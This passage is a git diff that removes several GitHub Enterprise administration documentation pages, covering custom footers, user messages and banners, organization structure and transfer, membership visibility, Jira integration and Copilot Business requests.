custom footer. -versions: - ghec: '*' - ghes: '*' -type: how_to -topics: - - Enterprise - - Fundamentals -shortTitle: Configure custom footers -redirect_from: - - /admin/configuration/configuring-your-enterprise/configuring-custom-footers ---- - -## About custom footers for your enterprise - -You can configure the web UI for your enterprise to display a custom footer with up to five additional links. The custom footer appears above the default {% data variables.product.prodname_dotcom %} footer{% ifversion ghes %}, to all users and on all pages of {% data variables.location.product_location_enterprise %}{% elsif ghec %} to all enterprise members and collaborators, on all repository and organization pages for repositories and organizations that belong to the enterprise{% endif %}. - -## Configuring custom footers - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -1. Under **{% octicon "gear" aria-hidden="true" %} Settings**, click **Profile**. -1. At the top of the page, under the navigation bar, click **Custom footer**. - - ![Screenshot of the "Profile" page for an enterprise account. A tab, labeled "Custom footer", is outlined in dark orange.](/assets/images/enterprise/custom-footer/custom-footer-section.png) -1. Under each "Footer Link" heading, type a title and URL. -1. To save the content and display the custom footer, click **Update custom footer**. diff --git a/content/admin/managing-accounts-and-repositories/communicating-information-to-users-in-your-enterprise/customizing-user-messages-for-your-enterprise.md b/content/admin/managing-accounts-and-repositories/communicating-information-to-users-in-your-enterprise/customizing-user-messages-for-your-enterprise.md deleted file mode 100644 index 91b7bf90a64e..000000000000 --- a/content/admin/managing-accounts-and-repositories/communicating-information-to-users-in-your-enterprise/customizing-user-messages-for-your-enterprise.md +++ /dev/null @@ -1,114 +0,0 @@ ---- -title: Customizing user messages for your enterprise -shortTitle: Customizing user messages -redirect_from: - - /enterprise/admin/user-management/creating-a-custom-sign-in-message - - /enterprise/admin/user-management/customizing-user-messages-on-your-instance - - /admin/user-management/customizing-user-messages-on-your-instance - - /admin/user-management/customizing-user-messages-for-your-enterprise - - /admin/user-management/managing-users-in-your-enterprise/customizing-user-messages-for-your-enterprise -intro: 'You can create custom messages that users will see on {% data variables.product.github %}.' -versions: - ghec: '*' - ghes: '*' -type: how_to -topics: - - Enterprise - - Maintenance ---- -## About user messages - -{% ifversion ghec %} -You can create global announcement banners, which appear at the top of every page. - -{% data reusables.enterprise.user-messages-markdown %} -{% else %} - -There are several types of user messages. -* Messages that appear on the {% ifversion ghes %}sign in or {% endif %}sign out page -* Mandatory messages, which appear once in a pop-up window that must be dismissed -* Announcement banners, which appear at the top of every page - -{% endif %} - -{% ifversion ghes %} - -> [!NOTE] -> If you are using SAML for authentication, the sign in page is presented by your identity provider and is not customizable via {% data variables.product.prodname_ghe_server %}. - -{% data reusables.enterprise.user-messages-markdown %} - -## Creating a custom sign in message - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.messages-tab %} -1. To the right of "Sign in page", click **Add message** or **Edit message**. - - ![Screenshot of the "Sign in page" section of the "Messages" settings. A button, labeled with a plus icon and "Add message", is outlined.](/assets/images/enterprise/site-admin-settings/edit-message.png) -1. Under **Sign in message**, type the message you'd like users to see. -{% data reusables.enterprise_site_admin_settings.message-preview-save %} - -{% endif %} - -{% ifversion ghes %} - -## Creating a custom sign out message - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.messages-tab %} -1. {% ifversion ghes %}To the right of{% else %}Under{% endif %} "Sign out page", click **Add message** or **Edit message**. - - ![Screenshot of the "Sign out page" section of the "Messages" settings. A button, labeled with a plus icon and "Add message," is outlined.](/assets/images/enterprise/site-admin-settings/sign-out-add-message-button.png) -1. Under **Sign out message**, type the message you'd like users to see. -{% ifversion ghes %} -{% data reusables.enterprise_site_admin_settings.message-preview-save %}{% else %} -{% data reusables.enterprise_site_admin_settings.click-preview %} -1. Review the rendered message. -{% data reusables.enterprise_site_admin_settings.save-changes %}{% endif %}{% endif %} - -{% ifversion ghes %} - -## Creating a mandatory message - -On {% data variables.product.prodname_ghe_server %}, you can create a mandatory message that is displayed to all users the first time they sign in after you save the message. The message appears in a pop-up window that the user must dismiss before continuing. - -Mandatory messages have a variety of uses. - -* Providing onboarding information for new employees -* Telling users how to get help with {% data variables.location.product_location %} -* Ensuring that all users read your terms of service for using {% data variables.location.product_location %} - -If you include Markdown checkboxes in the message, all checkboxes must be selected before the user can dismiss the message. For example, if you include your terms of service in the mandatory message, you can require that each user selects a checkbox to confirm the user has read the terms. - -Each time a user sees a mandatory message, an audit log event is created. The event includes the version of the message that the user saw. For more information see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise). - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.messages-tab %} -1. To the right of "Mandatory message", click **Add mandatory message**. -1. Under "Mandatory message", in the text box, type your message. -1. Optionally, select **Show updated message to all users even if they dismissed the previous one**. -{% data reusables.enterprise_site_admin_settings.message-preview-save %} - -{% endif %} - -## Creating a global announcement banner - -You can set a global announcement banner to be displayed to all users at the top of every page{% ifversion ghec %} within your enterprise, including every page in every organization owned by the enterprise{% endif %}. - -You can also create announcement banners at the organization level. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/creating-an-announcement-banner-for-your-organization). - -{% ifversion ghes %} -You can also set an announcement banner{% ifversion ghes %} in the administrative shell using a command line utility or{% endif %} using the API. For more information, see {% ifversion ghes %}[AUTOTITLE](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-announce) and {% endif %}[AUTOTITLE](/rest/enterprise-admin#announcements). -{% endif %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.messages-tab %} -{%- ifversion ghes %} -1. Optionally, to allow each user to dismiss the announcement, select **User dismissible**. -{%- endif %} -1. Optionally, to allow each user to dismiss the announcement, select **Allow users to dismiss the announcement**. -{% data reusables.enterprise_site_admin_settings.message-preview-save %} diff --git a/content/admin/managing-accounts-and-repositories/communicating-information-to-users-in-your-enterprise/index.md b/content/admin/managing-accounts-and-repositories/communicating-information-to-users-in-your-enterprise/index.md deleted file mode 100644 index 5aa192a1a817..000000000000 --- a/content/admin/managing-accounts-and-repositories/communicating-information-to-users-in-your-enterprise/index.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: Communicating information to users in your enterprise -shortTitle: Communicate info to users -intro: 'You can communicate information to users in your enterprise by customizing user messages and footers.' -versions: - ghec: '*' - ghes: '*' -topics: - - Enterprise -children: - - /customizing-user-messages-for-your-enterprise - - /configuring-custom-footers - ---- diff --git a/content/admin/managing-accounts-and-repositories/index.md b/content/admin/managing-accounts-and-repositories/index.md deleted file mode 100644 index 0c10f62c35ce..000000000000 --- a/content/admin/managing-accounts-and-repositories/index.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: 'Managing accounts and repositories' -shortTitle: 'Manage accounts and repositories' -intro: 'You can manage accounts, organizations, and repositories in your enterprise.' -redirect_from: - - /enterprise/admin/categories/user-management - - /enterprise/admin/developer-workflow/using-webhooks-for-continuous-integration - - /enterprise/admin/migrations - - /enterprise/admin/clustering - - /enterprise/admin/user-management -versions: - ghec: '*' - ghes: '*' -topics: - - Enterprise -children: - - /communicating-information-to-users-in-your-enterprise - - /managing-users-in-your-enterprise - - /managing-organizations-in-your-enterprise - - /managing-repositories-in-your-enterprise ---- diff --git a/content/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise.md b/content/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise.md deleted file mode 100644 index 23bd7e5e9b36..000000000000 --- a/content/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise.md +++ /dev/null @@ -1,121 +0,0 @@ ---- -title: Adding organizations to your enterprise -intro: 'Learn how to add organizations to your enterprise using three different methods.' -redirect_from: - - /github/setting-up-and-managing-your-enterprise/managing-organizations-in-your-enterprise-account/adding-organizations-to-your-enterprise-account - - /articles/adding-organizations-to-your-enterprise-account - - /github/setting-up-and-managing-your-enterprise-account/adding-organizations-to-your-enterprise-account - - /github/setting-up-and-managing-your-enterprise/adding-organizations-to-your-enterprise-account - - /admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise -versions: - ghec: '*' -type: how_to -topics: - - Administrator - - Enterprise - - Organizations -shortTitle: Add organizations -permissions: Enterprise owners ---- - -There are three ways to add organizations to your enterprise. - -* **Create** a new organization in your enterprise. -* **Invite** an existing organization to join your enterprise. -* **Transfer** an existing organization between enterprise accounts on {% data variables.product.prodname_dotcom_the_website %}. - -{% data reusables.enterprise.create-an-enterprise-account %} See [AUTOTITLE](/admin/managing-your-enterprise-account/creating-an-enterprise-account). - -## Limitations - -If you use {% data variables.enterprise.data_residency %}, you cannot transfer organizations between {% data variables.product.prodname_dotcom_the_website %} and your enterprise on {% data variables.enterprise.data_residency_site %}. Instead, you must migrate organizations with the {% data variables.product.prodname_importer_proper_name %}. See [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-between-github-products/about-migrations-between-github-products). - -If you use {% data variables.product.prodname_emus %}, the following limitations apply: - -* Adding existing organizations to your enterprise is not possible. -* Existing organizations from an enterprise with managed users cannot be added to a different enterprise. - -## Changes when adding an existing organization - -After you add an existing organization to your enterprise, the organization's resources remain accessible to members at the same URLs, and the following changes will apply. - -* **Two-factor authentication (2FA):** If required by the enterprise, members without 2FA, or with insecure 2FA, will be unable to access organization resources until they configure 2FA that meets the enterprise's 2FA security requirements. -* **Enterprise licenses:** Members become part of the enterprise, and usage is billed to the enterprise account. You must ensure that the enterprise account has enough licenses to accommodate any new members. See [AUTOTITLE](/billing/managing-your-github-billing-settings/about-billing-for-your-enterprise). -* **Enterprise role management:** Enterprise owners can manage their roles within the organization. See [AUTOTITLE](/admin/user-management/managing-organizations-in-your-enterprise/managing-your-role-in-an-organization-owned-by-your-enterprise). -* **Enterprise policies:** Any policies applied to the enterprise will apply to the organization. {% data reusables.actions.org-to-enterprise-actions-permissions %} - -* **SAML SSO Configuration:** - - * If SAML SSO is configured **for the destination enterprise**, the enterprise's SAML configuration will apply to the organization. - * If SAML is currently configured on the organization, the enterprise account's SAML configuration will override the organization's configuration. SCIM is not available at the enterprise level for enterprises that use personal accounts, so SCIM will be disabled for the organization. The new inherited enterprise SAML settings will be displayed on the organization's SAML settings page. - * If SAML is ever disabled for the enterprise, the organization SAML settings will revert back to their original configuration. - * If SAML is **not** configured for the destination enterprise, the organization will retain any existing SAML and SCIM settings. - * If organization members have existing SAML authorizations for {% data variables.product.pat_generic_plural %} or SSH keys to access the organization, these authorizations will remain active. - * To see these authorizations, SAML must be configured for either the organization or enterprise, and the user must have a linked SAML identity. - * To access additional organizations owned by the enterprise, members must authorize the {% data variables.product.pat_generic %} or key. See [AUTOTITLE](/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on) and [AUTOTITLE](/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on). - -* **Trial enterprise:** Certain features may be disabled if added to a trial enterprise. See [AUTOTITLE](/admin/overview/setting-up-a-trial-of-github-enterprise-cloud#features-not-included-in-the-trial). -* **{% data variables.product.prodname_github_connect %}:** If the organization was connected to {% data variables.product.prodname_ghe_server %} using {% data variables.product.prodname_github_connect %}, adding the organization to an enterprise will not update the connection. {% data variables.product.prodname_github_connect %} features will no longer function for the organization. To continue using {% data variables.product.prodname_github_connect %}, you must disable and re-enable the feature. See [AUTOTITLE](/enterprise-server@latest/admin/configuration/configuring-github-connect/managing-github-connect) in the {% data variables.product.prodname_ghe_server %} documentation. -* **{% data variables.product.prodname_marketplace %} apps:** If you add a standalone organization that uses billed {% data variables.product.prodname_marketplace %} apps, the organization can continue to use the apps, but usage will be billable to the enterprise. - * If your enterprise is billed via invoice, contact the app vendor and pay directly. - * If your enterprise is billed via credit card or PayPal, billing continues automatically. - To transfer an existing organization with billed apps between enterprise accounts, first remove the billed apps and then re-add the apps after the transfer is complete. -* **Sponsorships:** Any sponsorships by the organization will be canceled. -* **Coupons:** Any coupons will be removed from the organization. To reapply the coupon, [contact our sales team](https://github.com/enterprise/contact). - -## Creating a new organization - -New organizations you create within your enterprise account settings are included in your enterprise account's {% data variables.product.prodname_ghe_cloud %} subscription. - -Enterprise owners who create an organization owned by the enterprise account automatically become organization owners. See [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization). - -During a trial of {% data variables.product.prodname_ghe_cloud %}, you can create up to three new organizations in your enterprise. - -{% data reusables.enterprise-accounts.access-enterprise %} -{%- ifversion enterprise-readme %} -1. In the left sidebar, click **Organizations**. -{%- endif %} -1. Above the list of organizations, click **New organization**. -1. Under "Organization name", type a name for your organization. -1. Click **Create organization**. -1. Optionally, under "Invite owners", type the username of a person you'd like to invite to become an organization owner, then click **Invite**. -1. Click **Finish**. - -## Inviting an existing organization - -Enterprise owners can invite existing organizations to join their enterprise account. - -During a trial of {% data variables.product.prodname_ghe_cloud %}, you can invite organizations to join your trial enterprise. You can invite organizations that are not currently owned by another enterprise. If an organization you want to invite is already owned by another enterprise, you cannot invite it to your trial enterprise. - -After you invite the organization, and before an owner approves the invitation, you can cancel or resend the invitation at any time. - -{% data reusables.enterprise-accounts.access-enterprise %} -{%- ifversion enterprise-readme %} -{% data reusables.enterprise-accounts.click-organizations-tab %} -{%- endif %} -1. Above the list of organizations, click **Invite organization**. -1. Under "Organization name", start typing the name of the organization you want to invite and select it when it appears in the dropdown list. -1. Click **Invite organization**. The organization owners will receive an email inviting them to join the enterprise. -1. After an organization owner has approved the invitation, navigate back to the **Organizations** tab of the enterprise settings. -1. Under "Organizations", click **X pending**. -1. To complete the transfer, next to the organization name, click **Approve**. - -## Transferring an existing organization - -Enterprise owners can transfer existing organizations between enterprise accounts. You must be an enterprise owner of both enterprise accounts. - -You cannot transfer an existing organization to or from an {% data variables.enterprise.prodname_emu_enterprise %} or an enterprise account that is currently enrolled in a trial of {% data variables.product.prodname_ghe_cloud %}. - -If the existing organization uses billed apps, make sure to remove the billed apps before transferring. After the transfer is complete, re-add the apps. - -{% data reusables.enterprise-accounts.access-enterprise %} -{%- ifversion enterprise-readme %} -{% data reusables.enterprise-accounts.click-organizations-tab %} -{%- endif %} -1. Next to the organization you want to transfer, select the {% octicon "kebab-horizontal" width="16" aria-label="Organization settings" %} dropdown menu, then click **Transfer organization**. - - ![Screenshot of the expanded dropdown menu labeled with the kebab icon, for an organization. The "Transfer organization" option is outlined.](/assets/images/help/business-accounts/transfer-organization.png) - -1. Select the **Select enterprise** dropdown menu, start typing the name of the destination enterprise, and click the enterprise you want to transfer the organization to. -1. Click **Review transfer**. -1. To confirm the transfer, click **Transfer organization**. diff --git a/content/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/best-practices-for-structuring-organizations-in-your-enterprise.md b/content/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/best-practices-for-structuring-organizations-in-your-enterprise.md deleted file mode 100644 index 9dee27b5f375..000000000000 --- a/content/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/best-practices-for-structuring-organizations-in-your-enterprise.md +++ /dev/null @@ -1,91 +0,0 @@ ---- -title: Best practices for structuring organizations in your enterprise -intro: 'Learn to identify how many organizations to create within your enterprise, and how you should structure them.' -versions: - ghec: '*' - ghes: '*' -type: overview -topics: - - Administrator - - Enterprise - - Organizations -shortTitle: Best practices -redirect_from: - - /admin/user-management/managing-organizations-in-your-enterprise/best-practices-for-structuring-organizations-in-your-enterprise ---- - -## About best practices for organizations within an enterprise - -There are a multiple options for structuring the organizations within your enterprise. Each approach has pros and cons, and the best structure for your enterprise depends on the characteristics and needs of your business, including size and security constraints. - -However, we also recommend aligning your strategy with the culture you want to create, not the culture you currently have. If you want to advance in terms of collaboration and innersourcing, structure your tools accordingly. Then, your tools can assist you in the cultural change instead of acting as a blocker. - -## About organizational number - -In general, {% data variables.product.company_short %} recommends minimizing the number of organizations you create. Having fewer organizations encourages greater collaboration and innersourcing, which increases efficiency. In fact, many businesses are best served by a single organization, for the following reasons. - -* It's easier to find resources within a single organization, as there's only one place to search. -* It's easier to communicate within a single organization, as @-mentions only work between members of the same organization. -* Being part of a single, large organization where anyone and anything is accessible fosters collaboration and loyalty, whereas being separated into smaller organizations can make teams more isolated. - -Organization owners always have access to all repositories owned by the organization. If your company is large enough that no single owner should have access to all repositories, consider creating multiple organizations. - -The main benefit of creating multiple organizations is the ability to configure separate policies, settings, and requirements for each. {% ifversion fpt or ghec %} For example, each organization can have a different SAML configuration.{% endif %} - -Avoid creating a one-to-one relationship between organizations and structural entities of your company, such as individual teams or business units. Instead, group structural entities that can share policies, settings, and requirements into a single organization. This approach maximizes collaboration while meeting your regulatory requirements. - -It’s always easier to add organizations than to remove them, so we recommend starting with a small number of organizations, which gives you more flexibility in the future. After you develop more experience of what works well for your business, you can create additional organizations if the need arises. - -Removing organizations is much more difficult, often requiring migrations and a reduction in flexibility that teams have gotten used to. Many customers have come to regret creating a large number of organizations after they experience the challenging and time-consuming process of reducing their number. - -We recommend creating and enforcing fixed and transparent rules for creating a new organization in your enterprise. This will make it easier for everyone to understand the purpose of each organization and which assets are located where. - -## About organizational structure - -There are five main archetypes for organizational structure. The archetypes are defined by two decisions: - -* Whether to use a single organization or multiple organizations -* Whether to grant all members access to all repositories, or use teams to manage repository access more granularly - -For more information about teams, see [AUTOTITLE](/organizations/organizing-members-into-teams/about-teams). - -### Single organization with direct repository access - -The simplest organizational structure is a single organization, where members are granted access to all repositories directly via organization membership. Teams may be used for coordination and communication, but not for managing repository access. - -This structure works best for small companies, such as startups, where everyone collaborates on everything. It can work for medium-sized companies as well, if trust is high. - -To use this archetype, set the base permissions for the organization to "Write" or "Read." For more information, see [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/setting-base-permissions-for-an-organization). - -### Single organization with teams for repository access - -If your company needs to control repository access more granularly, you can set the base permissions for your organization to "None," then give each team access to specific repositories only. - -This structure works best for medium-sized companies, or for small companies with lower trust. For smaller companies with high trust, where everyone collaborates on everything, administering teams may not be worth the time investment. - -### Multiple organizations with direct repository access - -For larger companies, managing repository access within a single organization can become unwieldy, even with teams. This archetype utilizes multiple organizations to manage repository access instead. Each organization's members have access to all of that organization's repositories. - -This structure works best for companies that are large enough to have different groups that don't need to work together. This structure is not as useful if collaboration across business units is important. - -To use this archetype, create one organization for each group that can share policies, settings, and requirements as described above, then set the base permissions for each organization to "Write" or "Read." - -### Multiple organizations with teams for repository access - -Very large companies may require more granular control over repository access, even within multiple organizations. In this case, you can use teams to give each group access to specific repositories only. - -To use this archetype, create one organization for each group that can share policies, settings, and requirements as described above, set the base permission for each organization to "None," then give each team access to specific repositories only. - -### Multiple organizations with different access methods - -If you want the collaboration benefits of a single organization with direct repository access, but you have a small number of repositories that are too sensitive for global access, consider using multiple organizations with a mix of access methods. - -To use this archetype, create one organization for all of your employees and most of your repositories. Grant all members access to all repositories in this organization by setting the base permissions for the organization to "Write" or "Read." - -Then, create a second organization specifically for more sensitive repositories. In this organization, set the base permissions to "None", add only the people that need to access the sensitive repositories, and manage access to the repositories via team membership. - -## Further reading - -* [Organize your experts with ad hoc teams](https://github.blog/2017-02-15-organize-your-experts-with-ad-hoc-teams/) in the {% data variables.product.company_short %} blog -* [AUTOTITLE](/organizations/collaborating-with-groups-in-organizations/best-practices-for-organizations) diff --git a/content/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/configuring-visibility-for-organization-membership.md b/content/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/configuring-visibility-for-organization-membership.md deleted file mode 100644 index 4a7c54c69eb9..000000000000 --- a/content/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/configuring-visibility-for-organization-membership.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Configuring visibility for organization membership -intro: You can set visibility for new organization members across your enterprise to public or private. You can also prevent members from changing their visibility from the default. -redirect_from: - - /enterprise/admin/user-management/configuring-visibility-for-organization-membership - - /admin/user-management/configuring-visibility-for-organization-membership - - /admin/user-management/managing-organizations-in-your-enterprise/configuring-visibility-for-organization-membership -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - Organizations - - User account -shortTitle: Set membership visibility ---- -You can also enforce your default setting on all current organization members in your instance using a command-line utility. For example, if you'd like to require every organization member's visibility to be public, you can set the default to public and enforce the default for all new members in the admin settings, and then use the command-line utility to enforce the public setting on existing members. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.options-tab %} -1. Under "Default organization membership visibility", select the drop-down menu, and click **Private** or **Public**. -1. Optionally, to prevent members from changing their membership visibility from the default, select **Enforce for all enterprise members**. - ![Screenshot of the "Default organization membership visibility" section. The "Enforce for all enterprise members" checkbox is outlined.](/assets/images/enterprise/site-admin-settings/enforce-default-org-membership-visibility-setting.png) -1. If you'd like to enforce your new visibility setting on all existing members, use the `ghe-org-membership-update` command-line utility. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-org-membership-update). diff --git a/content/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/index.md b/content/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/index.md deleted file mode 100644 index fcc9b8874804..000000000000 --- a/content/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/index.md +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: Managing organizations in your enterprise -redirect_from: - - /enterprise/admin/articles/adding-users-and-teams - - /enterprise/admin/categories/admin-bootcamp - - /enterprise/admin/user-management/organizations-and-teams - - /enterprise/admin/user-management/managing-organizations-in-your-enterprise - - /articles/managing-organizations-in-your-enterprise-account - - /github/setting-up-and-managing-your-enterprise-account/managing-organizations-in-your-enterprise-account - - /github/setting-up-and-managing-your-enterprise/managing-organizations-in-your-enterprise-account - - /admin/user-management/managing-organizations-in-your-enterprise/managing-unowned-organizations-in-your-enterprise - - /github/setting-up-and-managing-your-enterprise/managing-organizations-in-your-enterprise-account/managing-unowned-organizations-in-your-enterprise-account - - /github/setting-up-and-managing-your-enterprise-account/managing-unowned-organizations-in-your-enterprise-account - - /github/setting-up-and-managing-your-enterprise/managing-unowned-organizations-in-your-enterprise-account - - /admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/continuous-integration-using-jenkins -intro: 'You can use organizations to group users within your company, such as divisions or groups working on similar projects, and manage access to repositories.' -versions: - ghec: '*' - ghes: '*' -topics: - - Enterprise -children: - - /best-practices-for-structuring-organizations-in-your-enterprise - - /adding-organizations-to-your-enterprise - - /configuring-visibility-for-organization-membership - - /preventing-users-from-creating-organizations - - /requiring-two-factor-authentication-for-an-organization - - /managing-your-role-in-an-organization-owned-by-your-enterprise - - /managing-requests-for-copilot-business-from-organizations-in-your-enterprise - - /removing-organizations-from-your-enterprise - - /restoring-a-deleted-organization - - /managing-projects-using-jira -shortTitle: Manage organizations ---- diff --git a/content/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/managing-projects-using-jira.md b/content/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/managing-projects-using-jira.md deleted file mode 100644 index 0302732df2a6..000000000000 --- a/content/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/managing-projects-using-jira.md +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: Managing projects using Jira -intro: 'You can integrate Jira with {% data variables.product.prodname_ghe_server %} for project management.' -redirect_from: - - /enterprise/admin/guides/installation/project-management-using-jira - - /enterprise/admin/articles/project-management-using-jira - - /enterprise/admin/developer-workflow/managing-projects-using-jira - - /enterprise/admin/developer-workflow/customizing-your-instance-with-integrations - - /enterprise/admin/user-management/managing-projects-using-jira - - /admin/user-management/managing-projects-using-jira - - /admin/user-management/managing-organizations-in-your-enterprise/managing-projects-using-jira -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - Project management -shortTitle: Project management with Jira ---- -## Connecting Jira to a {% data variables.product.prodname_enterprise %} organization - -{% data reusables.organizations.navigate-to-org %} -{% data reusables.organizations.org_settings %} -{% data reusables.user-settings.developer_settings %} -{% data reusables.user-settings.oauth_apps %} -1. Click **New {% data variables.product.prodname_oauth_app %}**. - - > [!NOTE] - > If you haven't created an app before, this button will say, **Register an application**. - -1. Fill in the application settings: - * In the **Application name** field, type "Jira" or any name you would like to use to identify the Jira instance. - * In the **Homepage URL** field, type the full URL of your Jira instance. - * In the **Authorization callback URL** field, type the full URL of your Jira instance. -1. Click **Register application**. -1. At the top of the page, note the **Client ID** and **Client Secret**. You will need these for configuring your Jira instance. - -## Jira instance configuration - -1. On your Jira instance, log into an account with administrative access. -1. At the top of the page, click the settings (gear) icon and choose **Applications**. -1. In the left sidebar, under **Integrations**, click **DVCS accounts**. -1. Click **Link Bitbucket Cloud or {% data variables.product.prodname_dotcom %} account**. -1. In the **Add New Account** modal, fill in your {% data variables.product.prodname_enterprise %} settings: - * From the **Host** dropdown menu, choose **{% data variables.product.prodname_enterprise %}**. - * In the **Team or User Account** field, type the name of your {% data variables.product.prodname_enterprise %} organization or user account. - * In the **OAuth Key** field, type the Client ID of your {% data variables.product.prodname_enterprise %} developer application. - * In the **OAuth Secret** field, type the Client Secret for your {% data variables.product.prodname_enterprise %} developer application. - * If you don't want to link new repositories owned by your {% data variables.product.prodname_enterprise %} organization or user account, deselect **Auto Link New Repositories**. - * If you don't want to enable smart commits, deselect **Enable Smart Commits**. - * Click **Add**. -1. Review the permissions you are granting to your {% data variables.product.prodname_enterprise %} account and click **Authorize application**. -1. If necessary, type your password to continue. diff --git a/content/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/managing-requests-for-copilot-business-from-organizations-in-your-enterprise.md b/content/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/managing-requests-for-copilot-business-from-organizations-in-your-enterprise.md deleted file mode 100644 index be41c2ba0f0a..000000000000 --- a/content/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/managing-requests-for-copilot-business-from-organizations-in-your-enterprise.md +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Managing requests for Copilot Business from organizations in your enterprise -intro: Learn how to view and satisfy requests to access Copilot from organizations owned by your enterprise. -permissions: Enterprise owners -product: Enterprise accounts with a subscription to {% data variables.product.prodname_copilot_for_business %}. -versions: - ghec: '*' -type: how_to -topics: - - Administrator - - Enterprise - - Organizations -shortTitle: Manage requests for Copilot ---- - -Organization owners might not have the necessary permissions to satisfy requests from members. For example, if an organization owner is not an enterprise owner, and {% data variables.product.prodname_copilot_for_business %} is not enabled for that organization, they will not have the permissions to approve requests for {% data variables.product.prodname_copilot_for_business %}. - -In these cases, when an organization member requests access to {% data variables.product.prodname_copilot_for_business %}, the organization owner will be prompted to ask the enterprise owners to enable {% data variables.product.prodname_copilot_short %} for the organization. - -As an enterprise owner, you can view or dismiss these requests from your notifications page. You can approve the request by enabling {% data variables.product.prodname_copilot_short %} for the organization. - -## Approving requests for {% data variables.product.prodname_copilot_for_business %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -1. Under "{% octicon "law" aria-hidden="true" %} Policies", click **Copilot**. -1. In the "Access management" section, next to the organization you want to give access, select the dropdown menu and click **Enabled**. diff --git a/content/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/managing-your-role-in-an-organization-owned-by-your-enterprise.md b/content/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/managing-your-role-in-an-organization-owned-by-your-enterprise.md deleted file mode 100644 index be9d70138f19..000000000000 --- a/content/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/managing-your-role-in-an-organization-owned-by-your-enterprise.md +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: Managing your role in an organization owned by your enterprise -intro: You can manage your membership in any organization owned by your enterprise and change your role within the organization. -permissions: Enterprise owners can manage their role in an organization owned by the enterprise. -redirect_from: - - /admin/user-management/managing-organizations-in-your-enterprise/managing-your-role-in-an-organization-owned-by-your-enterprise -versions: - ghec: '*' - ghes: '*' -type: how_to -topics: - - Administrator - - Enterprise - - Organizations -shortTitle: Manage your organization roles ---- - -## About role management - -You can choose to join an organization owned by your enterprise as a member or as an organization owner, change your role within the organization, or leave the organization. - -{% ifversion ghec %} - -> [!WARNING] -> If an organization uses SCIM to provision users, joining the organization this way could have unintended consequences. For more information, see [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim-for-organizations). - -{% endif %} - -For information about managing other people's roles in an organization, see [AUTOTITLE](/organizations/managing-membership-in-your-organization) and [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles). - -## Managing your role with the enterprise settings - -You can join an organization owned by your enterprise and manage your role within the organization, directly from the settings for your enterprise account. - -{% ifversion ghec %} - -If an organization enforces SAML single sign-on (SSO), you cannot use the enterprise settings to join the organization. Instead, you must join the organization using that organization's identity provider (IdP). Then, you can manage your role in your enterprise settings. For more information, see [Joining an organization that enforces SAML SSO](#joining-an-organization-that-enforces-saml-sso). - -{% endif %} - -{% data reusables.enterprise-accounts.access-enterprise %} -1. Next to the organization you want to manage your role in, select the {% octicon "gear" aria-label="Organization settings" %} dropdown menu and click **Join as an organization owner** or **Join as an organization member**. - - {% data reusables.enterprise-accounts.organization-settings-dropdown %} - -{% ifversion ghec %} - -## Joining an organization that enforces SAML SSO - -If an organization enforces SAML SSO, you cannot use the enterprise settings to join the organization. Instead, you must join the organization using that organization's identity provider (IdP). - -1. You must be assigned access in your IdP to the application for {% data 